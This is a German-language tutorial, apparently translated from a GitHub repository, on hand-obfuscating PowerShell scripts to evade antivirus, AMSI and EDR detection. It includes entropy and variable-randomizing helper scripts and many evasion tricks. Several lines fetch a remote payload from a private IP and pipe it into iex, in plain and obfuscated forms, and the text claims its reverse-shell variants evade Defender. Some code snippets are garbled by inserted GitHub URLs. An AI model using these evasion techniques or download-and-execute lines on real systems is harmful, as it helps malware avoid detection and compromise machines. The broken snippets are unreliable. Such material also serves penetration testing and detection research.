
Eine Sammlung von Techniken, Beispielen und ein wenig Theorie zur manuellen Verschleierung von PowerShell-Skripten zur Umgehung von Antivirensoftware, zusammengestellt zu Bildungszwecken. Die Inhalte dieses Repositorys sind das Ergebnis persönlicher Forschung, einschließlich Online-Recherchen sowie Versuch-und-Irrtum-Experimenten in Laboren und bei Pentests.
Eine Sammlung von Techniken, Beispielen und ein wenig Theorie zum manuellen Verschleiern von PowerShell-Skripten, um signaturbasierte Erkennung zu umgehen, zusammengestellt für Bildungszwecke. Der Inhalt dieses Repositorys ist das Ergebnis persönlicher Forschung, einschließlich Online-Recherchen und Trial-and-Error-Versuchen in Laboren und Pentests. Du solltest nichts als selbstverständlich hinnehmen.
YouTube-Videopräsentation: youtube.com/watch?v=tGFdmAh_lXE
⚠️ Haftungsausschluss: Die Nutzung der in diesem Repository beschriebenen Techniken und Konzepte, um unbefugten Zugriff auf Systeme zu erlangen, die du nicht testen darfst, ist illegal. Du bist für deine Handlungen verantwortlich. Sei nicht böse.
Der wissenschaftliche Begriff entropy, der allgemein definiert ist als das Maß für Zufälligkeit oder Unordnung eines Systems, ist bei der AV-Umgehung wichtig. Das liegt daran, dass Malware häufig Code enthält, der stark randomisiert, verschlüsselt und/oder kodiert (verschleiert) ist, um die Analyse und damit die Erkennung zu erschweren. Als eine von verschiedenen Methoden verwenden Antivirenprodukte die Entropieanalyse, um potenziell schädliche Dateien und Payloads zu identifizieren.
Es ist wichtig, dieses Konzept zu verstehen, denn beim Verschleiern von Code solltest du die Entropievarianz im Blick behalten, die durch die Änderungen entsteht, die du vornimmst. Signaturen zu brechen ist einfach, aber wenn du nicht auf das Entropieniveau achtest, werden ausgefeilte AV/EDRs es durchschauen.
Ein Prinzip, das du im Hinterkopf behalten solltest: Je größer die Entropie, desto wahrscheinlicher sind die Daten verschleiert oder verschlüsselt, und desto wahrscheinlicher ist die Datei/das Payload bösartig. Glücklicherweise gibt es Möglichkeiten, sie zu senken.
Claude E. Shannon stellte in seiner Arbeit von 1948, A Mathematical Theory of Communication, eine Formel vor, mit der sich die Entropie in einem Datensatz messen lässt. Hier ist eine einfache Python-Implementierung der Shannon Entropy, die du verwenden kannst, um die Entropie der von dir entwickelten Payloads zu messen:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
Du kannst auch diesen Online-Shannon-Entropie-Rechner oder Microsofts Sigcheck.exe mit der Option -a verwenden.
Der ausgereifte und elegante Ansatz, bevor man sich in Trial-and-Error-Verschleierungstests stürzt, um eine Payload-Variation zu entwickeln, die nicht markiert wird, besteht darin, die Teile in einem Skript zu identifizieren, die die Malware-Erkennung auslösen. Gerade bei kurzen Skripten wie C2-Befehlen kannst du möglicherweise unbedeutende Änderungen vornehmen und sofort vom Radar verschwinden.
Ein großartiges Werkzeug zur Identifizierung solcher Auslöser ist AMSITrigger. Hier ist ein Anwendungsbeispiel mit einer Datei, die ein bösartiges Skript enthält. Der rote Bereich kennzeichnet den Teil, auf den die Verschleierung angewendet werden sollte:

Du kannst Auslöser auch manuell identifizieren, indem du ein Skript Stück für Stück ausführst.
Beim Verschleiern von Skripten sollte es eine Priorität sein, Variablen-/Klassen-/Funktionsnamen durch zufällige zu ersetzen. Auf diese Weise kannst du in Kombination mit anderen Techniken die Erkennung leicht umgehen. Du solltest jedoch die Entropie der von dir entwickelten Payloads im Hinterkopf behalten. Betrachte das folgende Standard-Reverse-Shell-Skript, das von den meisten, wenn nicht allen, Antivirenprogrammen erkannt wird:

Betrachte nun die folgende verschleierte Version:

In dieser Version wurden alle Variablennamen durch 32 Zeichen lange Zufallsnamen ersetzt. Ich habe außerdem (pwd).Path durch $(gl) ersetzt. Das Payload hat eine Shannon entropy von 4.96. Zum Zeitpunkt des Schreibens wird es von MS Defender und einer Reihe anderer Produkte nicht erkannt:

Betrachte nun diese Version:

Diese Variante hat ebenfalls alle Variablennamen ersetzt, diesmal jedoch durch Namen, die aus einer x-Anzahl von 'f'-Zeichen bestehen, was zu einem deutlichen Rückgang der Entropie des Payloads führt. Ich habe auch hier (pwd).Path durch $(gl) ersetzt. Auch zum Zeitpunkt des Schreibens wird es von MS Defender nicht erkannt. Das Payload hat eine Shannon entropy von 0.76.

⚡ Beide Varianten umgehen gängige Antivirenprogramme, aber die zweite hat eine geringere Entropie und wird wahrscheinlich bessere Chancen haben, wenn sie von EDRs und anderen ausgefeilten Anti-Malware-Engines verarbeitet wird. ⚠️ Ich sage nicht, dass die bessere Leistung der zweiten Payload-Variante in diesem Beispiel sicher auf das Entropieniveau zurückzuführen ist (ich kann das nicht wirklich wissen, es könnte die Länge gewesen sein oder beides oder wer weiß was), aber es ist ein wichtiger Aspekt, den man beim Verschleiern im Hinterkopf behalten sollte, und dieses Beispiel soll genau dieses Konzept unterstreichen.
Du kannst das folgende Skript verwenden, um die Namen von Variablen in einem PowerShell-Skript zu randomisieren. ⚠️ Das Skript ist nicht perfekt! Wenn du es mit großen, komplexen PowerShell-Skripten ausführst, kann es deren Funktionalität beeinträchtigen, indem es Dinge ersetzt, die es nicht ersetzen sollte. Verwende es mit Vorsicht und sei achtsam.
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
Es macht super viel Spaß und ist einfach, $True- und $False-Werte durch andere boolesche Äquivalente zu ersetzen, die buchstäblich unbegrenzt sind. Vor allem, wenn du den Erkennungsauslöser in einem bestimmten Payload identifiziert hast und dieser einen $True- oder $False-Wert enthält, kannst du die Erkennung wahrscheinlich umgehen, indem du ihn einfach durch ein boolesches Ersatzäquivalent ersetzt. Alle folgenden Beispiele ergeben True. Du kannst sie in False umkehren, indem du einfach ein Ausrufezeichen vor den Ausdruck setzt (z. B. ![bool]0x01):
0 oder Null oder ein empty string ist, ergibt True:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True ergibt (na klar):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True-Wert aus den Attributen eines Objekts holen:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True oder False auszudrücken:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
Du kannst Cmdlets verschleiern, indem du einfache und/oder doppelte Anführungszeichen zwischen ihre Zeichen einfügst, solange es nicht am Anfang geschieht. Es ist super effektiv! Zum Beispiel kann der Ausdruck iex "pwd" ersetzt werden durch:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
Das ist ein wenig dreckig, kann aber nützlich sein. In einem Windows-CMD-Terminal ist es möglich, das Caret-Symbol (^) zwischen die Zeichen eines Befehls einzufügen, und es wird trotzdem normal interpretiert. In einem PowerShell-Skript wäre eine Möglichkeit, dies zu nutzen, die folgende:
cmd /c "who^am^i"

Ein wirklich cooler Trick, den mir mein Freund und mächtiger Haxor Karol Musolff (@kmusolff) gezeigt hat. Du kannst mit Get-Command (oder gcm) den Namen (String) jedes beliebigen Befehls abrufen, einschließlich aller Nicht-PowerShell-Dateien in der Umgebungsvariable Path ($env:Path), indem du Wildcards verwendest. Du kannst sie dann mit dem &-Operator als Jobs ausführen. Zum Beispiel die folgende Zeile:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
Könnte verschleiert werden zu:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Oder noch besser dieses hier, das einen niedrigeren Shannon entropy-Wert hat:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Es gibt bestimmte Schleifen, die durch andere Schleifentypen oder Funktionen ersetzt werden können. Zum Beispiel kann eine While ($True){ # some code }-Schleife durch Folgendes ersetzt werden:
Eine unendliche For-Schleife
For (;;) { # some code }
Eine Do-While-Schleife
Do { # some code } While ($true)
Eine Do-Until-Schleife
Do { # some code } Until (1 -eq 2)
Eine rekursive Funktion
function runToInfinity {
# do something;
runToInfinity;
}
Du kannst versuchen, einem Cmdlet Parameter hinzuzufügen. Zum Beispiel die folgende Zeile:
iex "whoami"
Könnte erweitert werden zu:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
Du kannst natürlich auch das Gegenteil versuchen.
Du kannst ein Skript mit zufälligen Variablen und Funktionen "verunreinigen". Nimm an, das folgende Skript ist bösartig:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
Du kannst seine Signatur vielleicht brechen, indem du so etwas tust:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
Du kannst immer nach Befehlen oder sogar ganzen Codeblöcken in einem Skript suchen, die du durch Komponenten mit gleicher/ähnlicher Funktionalität ersetzen kannst. Im folgenden klassischen Reverse-Shell-Skript wird der Befehl pwd verwendet, um das aktuelle Arbeitsverzeichnis abzurufen und den Promptwert der Shell zu rekonstruieren:

Der Teil (pwd).Path kann durch das folgende seltsame, unorthodoxe kleine Skript ersetzt werden, und obwohl es sogar pwd enthält, dient es doch unserem Zweck, die Signatur zu brechen, während die Funktionalität des Skripts erhalten bleibt:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
Es gibt natürlich einfachere Ersatzmöglichkeiten für pwd, wie gl, get-location und cmd.exe /c chdir, die den Zweck erfüllen könnten, insbesondere in Kombination mit anderen Techniken.
Es gibt kein Ende dessen, was man mit Strings machen kann. Unten findest du einige interessante Konzepte. Die Beispiele verwenden den String 'malware':
Auf Kosten einiger zusätzlicher Zeilen kannst du einen String in einen Here-String verwandeln.
Dies:
$x = 'echo malware';
iex $x;
Ist dasselbe wie:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
Ziemlich einfach und klassisch:
'mal' + 'w' + 'ar' + 'e'
Füge den gewünschten Wert zwischen einen irrelevanten String ein und verwende substring(), um ihn anhand von Start- und Endindizes zu extrahieren:
'xxxmalwarexxx'.Substring(3,7)
Erstelle einen Junk-String und ersetze ihn per Regex-Abgleich durch den gewünschten Wert:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
Kodiere deinen String und dekodiere ihn im Skript:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
Das soll nur den Einstieg erleichtern. Fortsetzung folgt...
Ein Skript zu verschleiern, indem man hier und da Kommentare anhängt, könnte tatsächlich für sich genommen den Zweck erfüllen.
Zum Beispiel könnte ein Reverse-Shell-Befehl so verschleiert werden:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> eingefügt)
Das funktioniert nicht nur, sondern senkt auch den Shannon entropy-Wert des Payloads (vorausgesetzt, du verwendest keine komplexen Zufallskommentare).
Es gibt malware-ähnliche Strings, die AMSI sofort auslösen, und es sollte eine Priorität sein, sie zu ersetzen, wenn man Skripte verschleiert. Schau dir das an:

Allein durch die Eingabe des Strings 'invoke-mimikatz' im Terminal bekommt AMSI einen Aussetzer (das Skript ist nicht einmal vorhanden/geladen). Diese Strings können auch in Kommentaren vorkommen, daher ist es eine gute Idee, sie zu entfernen, insbesondere aus FOS-Ressourcen, die du aus dem Internet holst (z. B. Invoke-Mimikatz.ps1 von GitHub).
*Es ist im Allgemeinen eine gute Idee, Kommentare zu entfernen. Dies war nur ein Beispiel.
Wahrscheinlich der älteste Trick im Buch. Die Groß-/Kleinschreibung von Cmdlets und Parametern zu randomisieren, könnte helfen:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
Manchmal kann es funktionieren, einfach Variablen und Klassen an andere Stellen zu verschieben, insbesondere wenn du den Erkennungsauslöser gefunden hast und dieser eine Variablendefinition enthält, die auch woanders stattfinden könnte, z. B. am Anfang des Skripts.
Manchmal ist es möglich, eine AV-Umgehung zu erreichen, indem man ein bösartiges Skript einfach Zeile für Zeile ausführt. Das kann unter den gegebenen Umständen natürlich eine Herausforderung sein. Falls du es versuchst, sei dir über Skriptblöcke im Klaren, die als Ganzes ausgeführt werden müssen (z. B. Schleifen, Try-Catch-Blöcke, Bedingungsanweisungen, Funktionsdefinitionen usw.). Um das zu testen, kannst du ein gängiges PowerShell-Reverse-Shell-Skript (ohne Verschleierung) nehmen und es Zeile für Zeile ausführen. Wird es erkannt? ;)